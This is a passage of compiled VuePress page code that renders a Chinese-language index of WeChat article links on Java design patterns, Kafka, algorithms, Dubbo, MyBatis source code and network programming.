"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491307&idx=1&sn=6eec4078f4eea8c265682784ab9a6b13&chksm=cf55a9eaf82220fcc54c4a15876335b2bc95b7ed6e3cc0524247379e401716cfdb166f404366&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AnnotationAwareAspectJAutoProxyCreator类是干嘛的?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"设计模式系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#设计模式系列"}},[e._v("#")]),e._v(" 设计模式系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489263&idx=1&sn=05a86037bf7e07fe6b8e4c8b89dcb5a0&chksm=cf55a1eef82228f8a79b0440852a00e39c5d3a880ace7c08ae2b29aa631ab9db87151ecc5ecd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入浅出Java 23种设计模式,最全PDF版本终于开放下载了!!面试必备!!(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489408&idx=1&sn=84c48c9c3707691bd7709ebec66e82f1&chksm=cf55a081f8222997a7d2d80eba4f71cdab620c324b86a726f20c737738e608969e00f278a6b5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("设计模式汇总——你需要掌握的23种设计模式都在这儿了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489430&idx=1&sn=308eba7c5b9c53f61c45e58d5563d320&chksm=cf55a097f822298144844a7d59f0311f56a873f64aeb0ae80d096160fe42a345a6ab6aefd0be&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——抽象工厂模式(AbstractFactoty)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489429&idx=1&sn=31d7f6094a5c46d18f272c0bdf7ac086&chksm=cf55a094f822298295d82c0f26b82426fa6bbcb527666ab4dbd918e1fad88c385fab3111cb1b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——工厂方法(FactoryMethod)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489428&idx=1&sn=f1efabaaafedf1b18a0258f972a068c3&chksm=cf55a095f8222983d0a1a56c7c2493f6bffe4a815690ff75a4ef3ebe2559e8734e0ffa95be29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——桥接模式(Bridge)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489427&idx=1&sn=cac4feff8a4c93ea9d593836d1c5f6a5&chksm=cf55a092f8222984c40b7d0e058fe447e8a554584ebb324f3b90ffb6d6784979edfe1f6bb12d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——建造者模式(Builder)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489426&idx=1&sn=5bda11d90dc3feaac9c30f78c3090eef&chksm=cf55a093f822298581fe6ec8dcbe4ec0e36db42d5d53fee89d30fb6bbe4cf2c14a1f9c70ee74&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——组合模式(Composite)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489425&idx=1&sn=e48b3e35131435375217f51ac4a7f7aa&chksm=cf55a090f8222986b2c94a2b87b15ef15c555ab8e936522a40cd880f30ba39b2dae461a0c960&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——原型模式(Prototype)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489424&idx=1&sn=d61288d307b30a8417cf0afa0c487816&chksm=cf55a091f82229877f9b78d45676553042668f5da842f517eceeb9bd5a01c213d65caeb779a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——适配器模式(Adapter)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489423&idx=1&sn=d1f747095fb9a6674134e06930a1767c&chksm=cf55a08ef8222998d98c9cb55783e59c45d7085260b2389906af286f3bd9ad49c82bffc47e50&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——装饰模式(Decorator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489421&idx=1&sn=2a1612d1ec75f82a035c64dca2dd95f7&chksm=cf55a08cf822299a3c5169c8b14e3d3368080957f747b400ee3b02dae0bfb036b7d8f7f12b8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——外观模式(Facade)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489420&idx=1&sn=c9b4c358b69b2bccc24b26b8615d1739&chksm=cf55a08df822299b52656b120e57d6c933098a6d9d9f29e65a5bee64fddaf7f26a78d39a1ed9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——享元模式(Flyweight)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489419&idx=1&sn=572121286c4bd29b172fd858ed1f3f4f&chksm=cf55a08af822299cb9ee19f9e936c7b072ada879d4a8b820d7e367b97e8b93b67b4adf161429&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——代理模式(proxy)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489418&idx=1&sn=2ba85330aaca7b0f32ef1d96d5c7e7ef&chksm=cf55a08bf822299d29f0812b7a2fe8ac81be2bc5024b12f538265befd955f0a54fa6114b8cca&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——责任链模式(COR)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489417&idx=1&sn=83b646905e3774ef2af7fc9d7e819a03&chksm=cf55a088f822299e16b2b15054d45359882a13cad13943358c32dcdc6691f8a15b3fa3f67c49&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——命令模式(Command)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489416&idx=1&sn=1e58a234a9e75d88be16cec587d32018&chksm=cf55a089f822299fe20aa89c4b02ed434ebde4205b0935fb7dab9d3e0c378ebc2acee83d03dc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——解析器模式(Interpreter)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489415&idx=1&sn=9640f75d501ac962443a0a99c58addae&chksm=cf55a086f82229909a702e48c291c68c73f93dd416c02530be835fde7c77cbafb7773b6897d6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——迭代器模式(interator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489414&idx=1&sn=55cc6052e3a4485d140504a1f8a1b176&chksm=cf55a087f8222991ee211cfeb4287eef3159e10f8d36b82725f1271b36b48e6f2155b9d1d28f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——中介者模式(Mediator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489413&idx=1&sn=1fb01653794d74b511845dc51cd64fda&chksm=cf55a084f82229927641a6db61ae4ec6b53577ce58634a6284bc51107d6fb30956dda5fa6fcb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——备忘录模式(Memento)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489412&idx=1&sn=53d91435feb3fd029b9bc2628ffb4240&chksm=cf55a085f82229937006fa35ee90f48910cede4c7a79a64dc890da7513a5d48ece68950fa148&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——观察者模式(Observer)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489411&idx=1&sn=2674d51ae141e39049303026ad2a5942&chksm=cf55a082f8222994a9ce4f99ddda574a42ca1625fa22be83a2b8eca853beb041c65810ddf9a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——状态模式(State)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489410&idx=1&sn=f24282a37d2d2bde8d43ca9d19757826&chksm=cf55a083f822299582a45b51e6a48c54eaad0f2436e3a1972444c480836b1faad0f077f6bb48&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——策略模式(Strategy)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=3&sn=3c1c0c2595733a760c8861cc19f5dc9c&chksm=cf55a080f8222996a5d907a92b9e29081244706636397962c34fef6d354f615c79922ad03b66&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——模板方法(TemplateMethod)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=2&sn=e6b07bc483f6a6b73e7a5b96ffd4d67a&chksm=cf55a080f8222996e6fcdd8d92f2056a2d6fe92aa7c47ecde5695d66c24421792bcb2e43b3b9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——访问者模式(Visitor)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=1&sn=60303bea6ab171a47d01de3333fec3b2&chksm=cf55a080f82229963e3e9460960dca4d3f4e8ce23960cd7e280febbe50d5db28a1c97cf20280&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——单例模式(Singleton)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"kafka系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#kafka系列"}},[e._v("#")]),e._v(" Kafka系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494670&idx=1&sn=8012de632d04b38bb70064baeb6c07ec&chksm=cf565b0ff821d219055d25f41c85d11ad4edcbb25250840f95ae68ad2c4d4d8b6c7cafcf8d4d&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搞懂Kafka的这个问题,你离大厂就不远了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491002&idx=1&sn=1079a5e6ad9bc4cc8415d1b0c6b05083&chksm=cf55aabbf82223ad91dd208261d09301b1f5ddd165049299577a55c13161c6c431076256bf7b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Kafka又出问题了!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"算法专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#算法专题"}},[e._v("#")]),e._v(" 算法专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489162&idx=1&sn=bd2fdce236e4737525445018e3151921&chksm=cf55a18bf822289d154547cb62aa95f5b99f398c32b4013f793cc60089f3444ee1541eba0732&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我整理了50道经典Java算法题,直接进了字节跳动!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"dubbo系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#dubbo系列"}},[e._v("#")]),e._v(" Dubbo系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489794&idx=1&sn=aa9efb732ac7fe3d2bc927c1491cae57&chksm=cf55ae03f82227157bb69cb487df2081b5b623d173b1df603be66347692acec56d455da6aae1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开始对Dubbo下手了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489831&idx=1&sn=e1126303a91f8fccb6154196695c5e6e&chksm=cf55ae26f82227302f71ced14c0aa312f631c8f03df65650dd3a49dc7fa9f339685342c38f5a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("俯瞰Dubbo全局,阅读源码前必须掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490192&idx=1&sn=afedf86349f76c864f42b2b48a245c62&chksm=cf55ad91f8222487088c333cb7160dd63496f9754c5533dbc868d9ac875101cc67dc1483c0da&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我是如何在短期内快速掌握Dubbo的原理和源码的(纯干货)?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490352&idx=1&sn=fce0061cd1f33d0baa1c1cad81ea1b69&chksm=cf55ac31f82225272167f0e7a3ce8914e4efb3d7a3e650ed16af386146183b13b1cac08f5107&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo中的统一契约是如何实现的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489116&idx=1&sn=dd764beecc93368365b7a0393a78bc6f&chksm=cf55a15df822284b8543bc66e490af18240bc989c26281ff3b3c8234c8cf7a24fb95d0beeb4d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("结合实战和源码来聊聊Java中的SPI机制?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489460&idx=1&sn=ef7424f16b27379441b6c32db49bd478&chksm=cf55a0b5f82229a3bdeb54823b7a46ce449448f6fb4d19e565e689b946d389aeff190b309c53&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你了解过Java的SPI机制吗?再不了解你就Out了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489451&idx=1&sn=8443aad6127a1a08d5c9ada01ad354fb&chksm=cf55a0aaf82229bc969e66627b77fd5a17459967ba4345d72110de9da1bc66eef9b94acec41a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("改造低版本Dubbo,使其兼容Spring4或Spring5注解配置"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489450&idx=1&sn=e0507e7990a026059baea4a41020be8f&chksm=cf55a0abf82229bd4a29ef8c5a920286fd1cfd1c5d0e4cab702a98eb6634aacaefc2b6cf89c5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("低版本Dubbo与高版本Spring集成"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489449&idx=1&sn=e28368150114a2a2059cde72d6d74cbb&chksm=cf55a0a8f82229be914bb0c88b422b5fb47bb3c29bff53dd67f8a1ff71d8672b72e4d2414e75&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何将Dubbo服务打包成Jar文件吗?这篇文章帮你搞定!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489448&idx=1&sn=583eae9b2c29492d690143aeb9b96575&chksm=cf55a0a9f82229bfea3cedb75e7eee3292d89a61e1367ffaf0698897e131d2ecdada71bfe5bf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用Shell脚本维护Dubbo服务"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489447&idx=1&sn=03985c758e3ab14c698a73a2d054b9ee&chksm=cf55a0a6f82229b0c1002612b1f07604b83d5e5ecc4db5bd172906ee476193fa63f5bc9be1f8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("监控中心的介绍与简易监控中心的安装"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489446&idx=1&sn=1280e760a0d3a90bcf4fb1cb5e11b149&chksm=cf55a0a7f82229b13cf8f3de46e9134673c55b9d3d9198128b36a6bb6598fab96cdf6ac7109e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo 管理控制台的安装"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489445&idx=1&sn=602d31050340f353e8d3443c86d1f5cd&chksm=cf55a0a4f82229b21e232e3f7cbe0178917d98c32dcb7a30ef16f85656badb4a0d96f0cd8dcb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现Dubbo服务的集群"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489444&idx=1&sn=cb419ca548134d0adcf64b839a6e27b4&chksm=cf55a0a5f82229b34efd3fe83308015791e77ede9c735a9880638996c59160fe6b10f1804a3d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("分布式服务子系统的划分"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489443&idx=1&sn=eb8c0c2e1f498f0f98f25ad0a440d4cb&chksm=cf55a0a2f82229b49809a8a3fd776e76fe8165b4e8ecd7df48a9d8c6fd797f9a3c111b926220&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务接口的设计原则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489442&idx=1&sn=e2d06304a682329ead315ee127621d34&chksm=cf55a0a3f82229b5658bff25091353eecd3b68374ba5cf16e2b9e80059ae24b88ee4a3fc743a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("几种负载均衡算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489440&idx=1&sn=0057edbfaeebbfed4c30645181792742&chksm=cf55a0a1f82229b7bda7097262bd50cecaa89bdbf9de097272d857461fbd8ea66bba9beea5af&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程模型(Linux 用户线程数限制导致的 java.lang.OutOfMemoryError)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489439&idx=1&sn=6f3607682b5859c3cc9ec41fcee1b19e&chksm=cf55a09ef822298898f6d5ccfeadf4f5bcb087f210956c5b6da90eac6c06d5952f3d8c820710&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何使用Dubbo消费端直连服务提供者进行开发和调试吗??"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489438&idx=1&sn=98ea263476635db10ca8ac8785440de4&chksm=cf55a09ff82229895f5e5fc42f6ac734e03c3742f93b7d075b2144981db1c0cc16c347616e93&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务只订阅(开发调试)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489437&idx=1&sn=078b6726b051f1a07b54223a056a3d2f&chksm=cf55a09cf822298a25e08248e7c4052da1ec89045cd459f909d5742050c4520823b5b669a75b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo Filter实战"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"mybatis源码系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#mybatis源码系列"}},[e._v("#")]),e._v(" MyBatis源码系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494053&idx=1&sn=643c4fcd2502d54a4c90d25dfb600f43&chksm=cf565ea4f821d7b27672a7ebc1c3350ad9bffa3b10677856399236094efa64835f5ab754c2b6&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三天撸完了MyBatis,各位随便问!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489777&idx=1&sn=470f2d8277fe7d23c12a99de7953bef1&chksm=cf55aff0f82226e61991ebcab6c31adf28d3f86606937fcb6528dfae2e302eae0bc9fca7c18c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三万字带你彻底吃透MyBatis源码!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489436&idx=1&sn=5eae962c50043205c4b29b82cb6fcb7b&chksm=cf55a09df822298b40fc9d6de1f29bb881d532724918327ad681531b072c7960922fd360a9be&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("构建源码分析测试用例"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489435&idx=1&sn=def1275d8688259d50771b284cd0a1ea&chksm=cf55a09af822298c793df1877a4ecfb1f5778359c12c8659a360476828ee2ac6efc2c0103ea9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("配置解析创建SqlSessionFactory的过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489434&idx=1&sn=970fdb1b8655f844639445b621742b90&chksm=cf55a09bf822298d43784113fda8f19c4649464fea61f9502282dbed0145b707c3d57915a5a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SqlSession会话创建过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489433&idx=1&sn=df29c3c6d8a4dcbf665478dcc40b2259&chksm=cf55a098f822298edadd4d28f2a4b16bc95bea6be05975eb44354be4b880b5d88b62a781de51&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("获得Mapper对象"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489432&idx=1&sn=e4acf817b65685a39d8c3320d3f8e07c&chksm=cf55a099f822298f248f405b593ca01a20ddaf02ca3108b1972158a4214e4f3b5eda809b8561&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("执行SQL语句的过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489287&idx=1&sn=6d6d2864ad4ea6213cd2657a50619c9b&chksm=cf55a006f822291039a7edac9004dc3c567e2463474df9b63a3cea89db6df1e489b8db577274&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我如何获得Mapper对象?我是这样说的!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"网路编程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#网路编程"}},[e._v("#")]),e._v(" 网路编程")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498618&idx=1&sn=9d18f37b6b2c04271be655efbc6785e4&chksm=cf564c7bf821c56d47892227b5f42b26ce5f4a341f516cf365a93dba6761ebf5168632c3d2e1&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("域名是如何绑定动态IP的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497846&idx=1&sn=1b37541985e634583265f3e2d2ff672c&chksm=cf564f77f821c66189d7334b71bd7543aab96387bcf806dcd0af4452cf1ffaa8015235eaeb6c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一分钟解决Github连接慢或者无法连接,亲测有效!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493964&idx=1&sn=25dd1e214ed00e2503bfe32aa91dd4d1&chksm=cf565e4df821d75b5976b0f0b4df1e6e8511851a6a4ccebcbc1251310171fef282c8bcdf7291&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,VPN又断开了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493053&idx=1&sn=8c372106b7d569563817624a2b01ad62&chksm=cf5652bcf821dbaa6249c17ce127fcfcfd77942aa1b27d266860e009055c98d7fc06786b2be5&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener 